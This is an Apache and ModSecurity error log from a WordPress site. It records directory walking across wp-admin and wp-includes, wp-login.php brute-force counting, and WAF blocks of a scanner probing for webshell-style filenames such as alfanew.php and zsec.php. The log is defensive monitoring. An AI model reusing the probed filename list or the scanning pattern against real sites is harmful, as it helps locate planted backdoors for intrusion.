[Sun Dec 14 06:57:03.113226 2025] [autoindex:error] [pid 39525:tid 39602] [client 185.194.178.87:59881] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/tinymce/langs/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 14 06:57:03.436429 2025] [autoindex:error] [pid 39525:tid 39592] [client 185.194.178.87:59881] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/ectoplasm/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 14 06:57:03.767956 2025] [autoindex:error] [pid 39525:tid 39589] [client 185.194.178.87:59881] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/group/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 14 06:57:07.689567 2025] [autoindex:error] [pid 39525:tid 39602] [client 185.194.178.87:59881] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/interactivity-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 14 06:57:09.813465 2025] [autoindex:error] [pid 39525:tid 39606] [client 185.194.178.87:59881] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 14 06:57:13.812373 2025] [autoindex:error] [pid 39525:tid 39607] [client 185.194.178.87:59881] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 14 06:57:14.352424 2025] [autoindex:error] [pid 39525:tid 39602] [client 185.194.178.87:59881] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 14 06:57:14.666132 2025] [autoindex:error] [pid 39525:tid 39593] [client 185.194.178.87:59881] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 14 06:57:25.803504 2025] [autoindex:error] [pid 39525:tid 39586] [client 185.194.178.87:59881] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 14 06:57:27.916299 2025] [autoindex:error] [pid 39525:tid 39585] [client 185.194.178.87:59881] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 14 06:57:28.261496 2025] [autoindex:error] [pid 39525:tid 39604] [client 185.194.178.87:59881] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 14 06:57:29.214726 2025] [autoindex:error] [pid 39525:tid 39596] [client 185.194.178.87:59881] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 14 06:57:29.786769 2025] [autoindex:error] [pid 39525:tid 39607] [client 185.194.178.87:59881] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 14 06:57:30.110899 2025] [autoindex:error] [pid 39525:tid 39584] [client 185.194.178.87:59881] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 14 06:57:36.808216 2025] [autoindex:error] [pid 39525:tid 39600] [client 185.194.178.87:59881] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/plugins/elementor/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 14 09:22:20.737587 2025] [:error] [pid 41600:tid 41609] [client 106.54.62.156:57132] [client 106.54.62.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aT4RTNFLTBZjcwNd_VswAAAAAQY"]
[Sun Dec 14 11:10:06.518794 2025] [:error] [pid 39523:tid 39532] [client 139.59.33.85:40418] [client 139.59.33.85] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 139.59.33.85, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aT4qjjQTQH1raAj2lkhnzAAAAAQ"]
[Sun Dec 14 11:10:10.552286 2025] [:error] [pid 39523:tid 39552] [client 139.59.33.85:40418] [client 139.59.33.85] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 139.59.33.85, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aT4qkjQTQH1raAj2lkhnzgAAABg"], referer: https://gigfragments.org/wp-login.php
[Sun Dec 14 16:29:38.559136 2025] [:error] [pid 39525:tid 39603] [client 160.191.80.66:39652] [client 160.191.80.66] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 160.191.80.66, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aT51ck1fX_pB_BrvE_7v2gAAAJQ"]
[Sun Dec 14 16:29:43.208501 2025] [:error] [pid 39614:tid 39640] [client 160.191.80.66:44124] [client 160.191.80.66] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 160.191.80.66, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aT51d_xybG8-9MflbDcEHQAAANg"], referer: https://gigfragments.org/wp-login.php
[Sun Dec 14 18:48:45.876300 2025] [:error] [pid 41600:tid 41615] [client 4.194.46.139:17511] [client 4.194.46.139] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.194.46.139, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aT6WDdFLTBZjcwNd_VvZiwAAAQw"]
[Sun Dec 14 18:48:47.025177 2025] [:error] [pid 41600:tid 41622] [client 4.194.46.139:17511] [client 4.194.46.139] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.194.46.139, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aT6WD9FLTBZjcwNd_VvZjQAAARM"]
[Sun Dec 14 18:48:56.635681 2025] [:error] [pid 40561:tid 40572] [client 4.194.46.139:17477] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-mail.php"] [unique_id "aT6WGIY6r869zoqRQkSxbAAAAUc"]
[Sun Dec 14 18:48:58.890599 2025] [:error] [pid 40596:tid 40627] [client 4.194.46.139:17419] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-mail.php"] [unique_id "aT6WGmvZZo4N2X7WoLxvWgAAAcE"]
[Sun Dec 14 18:49:01.393695 2025] [:error] [pid 41600:tid 41622] [client 4.194.46.139:17425] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-mail.php"] [unique_id "aT6WHdFLTBZjcwNd_VvZwwAAARM"]
[Sun Dec 14 18:49:05.822701 2025] [:error] [pid 39523:tid 39545] [client 4.194.46.139:17474] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-mail.php"] [unique_id "aT6WITQTQH1raAj2lkjGoAAAABE"]
[Sun Dec 14 18:49:07.538807 2025] [:error] [pid 40595:tid 40603] [client 4.194.46.139:17416] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/minik.php"] [unique_id "aT6WI_jrht6y4RN-xKT8ewAAAYQ"]
[Sun Dec 14 18:49:08.322138 2025] [:error] [pid 39523:tid 39530] [client 4.194.46.139:17415] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/minik.php"] [unique_id "aT6WJDQTQH1raAj2lkjGogAAAAI"]
[Sun Dec 14 18:49:09.326342 2025] [:error] [pid 39523:tid 39533] [client 4.194.46.139:17510] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/minik.php"] [unique_id "aT6WJTQTQH1raAj2lkjGpAAAAAU"]
[Sun Dec 14 18:49:09.971258 2025] [:error] [pid 41600:tid 41618] [client 4.194.46.139:17423] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/minik.php"] [unique_id "aT6WJdFLTBZjcwNd_VvZ1wAAAQ8"]
[Sun Dec 14 18:49:10.627179 2025] [:error] [pid 40595:tid 40610] [client 4.194.46.139:17531] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/OK.php"] [unique_id "aT6WJvjrht6y4RN-xKT8gAAAAYs"]
[Sun Dec 14 18:49:11.061514 2025] [:error] [pid 13799:tid 13820] [client 4.194.46.139:17497] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/OK.php"] [unique_id "aT6WJ3jPEin01ElFTNYbNwAAAhI"]
[Sun Dec 14 18:49:11.685154 2025] [:error] [pid 41600:tid 41613] [client 4.194.46.139:17463] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/OK.php"] [unique_id "aT6WJ9FLTBZjcwNd_VvZ3QAAAQo"]
[Sun Dec 14 18:49:12.669358 2025] [:error] [pid 39524:tid 39573] [client 4.194.46.139:17491] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/OK.php"] [unique_id "aT6WKGrVGpbDzFtDE9PAVgAAAFE"]
[Sun Dec 14 18:49:13.304643 2025] [:error] [pid 40596:tid 40638] [client 4.194.46.139:17530] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfanew.php"] [unique_id "aT6WKWvZZo4N2X7WoLxvZAAAAcw"]
[Sun Dec 14 18:49:14.092490 2025] [:error] [pid 39524:tid 39580] [client 4.194.46.139:10208] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfanew.php"] [unique_id "aT6WKmrVGpbDzFtDE9PAWAAAAFg"]
[Sun Dec 14 18:49:15.434237 2025] [:error] [pid 39614:tid 39634] [client 4.194.46.139:17409] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfanew.php"] [unique_id "aT6WK_xybG8-9MflbDdIXAAAANI"]
[Sun Dec 14 18:49:15.862164 2025] [:error] [pid 39524:tid 39564] [client 4.194.46.139:17509] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfanew.php"] [unique_id "aT6WK2rVGpbDzFtDE9PAWQAAAEg"]
[Sun Dec 14 18:49:17.137755 2025] [:error] [pid 41600:tid 41604] [client 4.194.46.139:17511] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zsec.php"] [unique_id "aT6WLdFLTBZjcwNd_VvZ4QAAAQE"]
[Sun Dec 14 18:49:18.633690 2025] [:error] [pid 39614:tid 39639] [client 4.194.46.139:17514] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zsec.php"] [unique_id "aT6WLvxybG8-9MflbDdIXwAAANc"]
[Sun Dec 14 18:49:20.396802 2025] [:error] [pid 39614:tid 39627] [client 4.194.46.139:17525] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zsec.php"] [unique_id "aT6WMPxybG8-9MflbDdIYQAAAMs"]
[Sun Dec 14 18:49:21.297956 2025] [:error] [pid 41600:tid 41622] [client 4.194.46.139:17429] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zsec.php"] [unique_id "aT6WMdFLTBZjcwNd_VvZ4gAAARM"]
[Sun Dec 14 18:49:23.389559 2025] [:error] [pid 39614:tid 39640] [client 4.194.46.139:17489] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/arig.php"] [unique_id "aT6WM_xybG8-9MflbDdIZQAAANg"]
[Sun Dec 14 18:49:24.176443 2025] [:error] [pid 39525:tid 39599] [client 4.194.46.139:17517] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/arig.php"] [unique_id "aT6WNE1fX_pB_BrvE_4tQwAAAJA"]
[Sun Dec 14 18:49:25.723021 2025] [:error] [pid 39524:tid 39574] [client 4.194.46.139:10198] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/arig.php"] [unique_id "aT6WNWrVGpbDzFtDE9PAcgAAAFI"]
[Sun Dec 14 18:49:27.263842 2025] [:error] [pid 13799:tid 13819] [client 4.194.46.139:17418] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/arig.php"] [unique_id "aT6WN3jPEin01ElFTNYbRQAAAhE"]
[Sun Dec 14 18:49:28.216653 2025] [:error] [pid 13799:tid 13824] [client 4.194.46.139:17430] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin1.php"] [unique_id "aT6WOHjPEin01ElFTNYbRwAAAhY"]
[Sun Dec 14 18:49:29.613976 2025] [:error] [pid 40596:tid 40626] [client 4.194.46.139:17436] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin1.php"] [unique_id "aT6WOWvZZo4N2X7WoLxvdAAAAcA"]
[Sun Dec 14 18:49:30.317238 2025] [:error] [pid 41600:tid 41621] [client 4.194.46.139:17519] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin1.php"] [unique_id "aT6WOtFLTBZjcwNd_VvZ8gAAARI"]
[Sun Dec 14 18:49:31.564861 2025] [:error] [pid 40561:tid 40575] [client 4.194.46.139:17499] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin1.php"] [unique_id "aT6WO4Y6r869zoqRQkSxogAAAUo"]
[Sun Dec 14 18:49:32.300761 2025] [:error] [pid 39523:tid 39537] [client 4.194.46.139:17417] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we2.php"] [unique_id "aT6WPDQTQH1raAj2lkjGsgAAAAk"]
[Sun Dec 14 18:49:32.839151 2025] [:error] [pid 39524:tid 39574] [client 4.194.46.139:17450] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we2.php"] [unique_id "aT6WPGrVGpbDzFtDE9PAewAAAFI"]
[Sun Dec 14 18:49:33.254708 2025] [:error] [pid 39523:tid 39538] [client 4.194.46.139:17515] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we2.php"] [unique_id "aT6WPTQTQH1raAj2lkjGswAAAAo"]
[Sun Dec 14 18:49:34.797660 2025] [:error] [pid 39525:tid 39594] [client 4.194.46.139:17471] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we2.php"] [unique_id "aT6WPk1fX_pB_BrvE_4tWgAAAIs"]
[Sun Dec 14 18:49:35.935632 2025] [:error] [pid 39614:tid 39628] [client 4.194.46.139:17438] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/af32.php"] [unique_id "aT6WP_xybG8-9MflbDdIbwAAAMw"]
[Sun Dec 14 18:49:37.942713 2025] [:error] [pid 13799:tid 13807] [client 4.194.46.139:17428] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/af32.php"] [unique_id "aT6WQXjPEin01ElFTNYbUAAAAgU"]
[Sun Dec 14 18:49:39.228863 2025] [:error] [pid 40561:tid 40580] [client 4.194.46.139:17492] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/af32.php"] [unique_id "aT6WQ4Y6r869zoqRQkSxwgAAAU8"]
